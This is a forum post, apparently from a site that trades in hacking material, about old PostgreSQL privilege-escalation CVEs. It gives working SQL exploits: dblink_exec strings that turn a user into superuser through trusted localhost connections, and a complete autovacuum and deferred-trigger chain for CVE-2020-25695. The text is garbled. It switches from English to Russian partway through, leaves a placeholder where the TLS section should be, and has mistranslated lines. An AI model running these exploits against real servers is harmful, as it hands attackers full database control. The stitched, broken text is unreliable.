PostgreSQL: A look at historical CVEs, from local connections to privilege escalation via autovacuum.

WILD

Administrator
Staff member
ADMIN
SELLER
SUPREME
MEMBER
Joined
Jan 21, 2025
Messages
219
Reaction score
637
Deposit
0$
PostgreSQL releases a minor release every quarter, and the patch notes almost always include vulnerabilities that allow an unprivileged user to become the local king and god—the superuser. With PostgreSQL itself, everything is simple: just install the update and sleep soundly. But most forks, cluster solutions, and old installations remain vulnerable for years.

I dug into historical CVEs and found some very interesting loopholes. Today, we'll examine three vulnerabilities that, at various times, have made admins nervously read the manuals. We'll cover tricky connection strings, how to trick vacuum, and TLS, which isn't as simple as it seems.

---

CVE-2018-10915: Tricky Connection Strings

This vulnerability affects PostgreSQL versions 10.4, 9.6.9, and earlier. It's called "Certain host connection parameters defeat client-side security defenses"—it sounds like a client-side issue, not a server-side one. But CVSS 8.5 hints at something more serious.

When a server initiates a connection based on data provided by the client, there's always a risk. If your application navigates to a URL provided by the user, sooner or later that URL won't be what you expected.

A Community Story

Once, the developers were asked to allow regular users to create logical replication subscriptions. They were immediately told that even the ability to initiate outgoing connections was a recipe for trouble. After some thought, they actually found a way to compromise their own patch set.

PostgreSQL has extensions for working with remote data: dblink and postgres_fdw. They allow access to tables on other servers (not just PostgreSQL) via SQL queries. postgres_fdw makes this more convenient—a remote table appears as if it were local.

If the extension is configured, the user can access data on any server via the specified address. This is reminiscent of the old vulnerability CVE-2007-6601. But the most interesting thing is that you can establish a local connection from a server to itself.

Why does this work?

In pg_hba.conf, you often see lines like this:

Code:

local all all trust host all all 127.0.0.1/32 trust host all all::1/128 trust

This means "trust local connections." This is standard in Docker images or when initializing initdb.

So what do you do about it?

Code:

postgres=#SELECT dblink_exec('host=localhost dbname=postgres','ALTER USER x4m WITH SUPERUSER;'); dblink_exec
---
ALTER ROLE (1 row)

And that's it. User x4m becomes the superuser. Now you can read /etc/passwd via COPY and do whatever you want.

How it was fixed

The problem was noticed back in 2007 and solved simply: dblink and postgres_fdw no longer work without a password.

Code:

static void dblink_security_check(PGconn*conn, remoteConn *rconn) { if (!superuser()) { if (!PQconnectionUsedPassword(conn)) { PQfinish(conn); if (rconn) pfree(rconn); ereport(ERROR, (errcode(ERRCODE_S_R_E_PROHIBITED_SQL_STATEMENT_ATTEMPTED), errmsg("password is required"), errdetail("Non-superuser cannot connect if the server does not request a password."), errhint("Target server's authentication method must be changed."))); } } }

It would seem we've protected ourselves from ourselves. But PostgreSQL hasn't stood still.

The Age of Replication and New Risks

In the 2010s, the community was actively developing High Availability. A client needs to connect to different servers: primary for writing, standby for reading. The connection string now looks like this:

Code:

postgresql://host1:port1,host2:port2/?target_session_attrs=read-write

This feature was introduced in PostgreSQL 10. The vulnerability, CVE-2018-10915, explains that after authentication on the first host (with a password), dblink and postgres_fdw allow connections to subsequent hosts without requiring a password again.

You simply need to bring up your own replica accessible to the server, authenticate on it, and then switch to localhost.

Code:

SELECT dblink_exec('host=my.standby.xyz,localhost dbname=postgres password=imahacker','ALTER USER x4m WITH SUPERUSER;');

The password works on the replica, but localhost no longer asks.

Tom Lane's fix in commit d1c6a14. The vulnerability was discovered by Andrey Krasichkov (buglloc), who has an excellent, detailed analysis on his blog.

Important: version 9.6, which is still the default in Astra Linux, is also vulnerable. Support for 9.6 ended in November 2021, and there will be no more security patches. I hope the Astra developers have screwed everything up.

---

CVE-2020-25695: Twisting, turning, trying to confuse

Versions 13.0, 12.4, 11.9, 10.14 and later (up to EOL) are vulnerable. CVSS 8.8. Exploitation is simple: submit a request and you're done. No fake replies, no complex code.

How VACUUM Works

VACUUM in PostgreSQL removes old row versions that are no longer needed. It can be run manually, by cron, or automatically (autovacuum) when a sufficient number of dead rows accumulate. And here's the important thing: autovacuum runs as the superuser.

The developers anticipated the risks: when vacuuming a specific table, the context switches to the owner.
CREATE TABLE t0(s varchar); CREATE TABLE t1(s varchar); CREATE TABLE exp(a int, b int);
CREATE OR REPLACE FUNCTION sfunc(integer) RETURNS integer LANGUAGE sql IMMUTABLE AS 'SELECT$1';
CREATE INDEX indy ON exp (sfunc(a));
CREATE OR REPLACE FUNCTION sfunc(integer) RETURNS integer LANGUAGE sql SECURITY INVOKER AS 'INSERT INTO fooz.public.t0 VALUES(current_user); SELECT $1';
CREATE OR REPLACE FUNCTION snfunc(integer) RETURNS integer LANGUAGE sql SECURITY INVOKER AS 'ALTER USER foo SUPERUSER;SELECT $1';
CREATE OR REPLACE FUNCTION strig() RETURNS trigger AS$e$ BEGIN PERFORM fooz.public.snfunc(1000);RETURN NEW; END$e$ LANGUAGE plpgsql;
CREATE CONSTRAINT TRIGGER def AFTER INSERT ON t0 INITIALLY DEFERRED FOR EACH ROW EXECUTE PROCEDURE strig();
ANALYZE exp; INSERT INTO exp VALUES(1,1), (2,3),(4,5),(6,7),(8,9); DELETE FROM exp; INSERT INTO exp VALUES(1,1); ALTER TABLE exp SET(autovacuum_vacuum_threshold = 1); ALTER TABLE exp SET(autovacuum_analyze_threshold = 1);


Как это работает:

1. Вакуум exp вызывает функцию sfunc(), которая вставляет данные в t0.
2. Триггер на t0 срабатывает при коммите и вызывает strig().
3. strig() вызывает snfunc(), которая делает пользователя суперюзером.

Всё происходит в конце транзакции, но уже с правами суперпользователя. Нашёл уязвимость Этьен Столманс (staaldraad), у него в блоге детали. Позже Денис Смирнов портил эксплоит под GreenplumDB.

---

CVE-2021-23214: TLS — это надежно, TLS — это безопасно

Раздел временно отсутствует в исходном тексте. Если нужен полный разбор, добавьте содержимое.

Помни, что все эти развлечения здесь для того, чтобы задуматься о важном — о безопасности, о своевременных обновлениях и о том, что даже в зрелых системах есть неочевидные дыры.

PostgreSQL — отличная база, но она не защитит тебя от тебя самого. Если в твоей инфраструктуре есть форки или старые версии, проверь их на эти уязвимости. Эксплоиты используй только в учебных целях и для этичного уведомления о проблемах. И конечно, делай резервные копии вовремя.
 
Top Bottom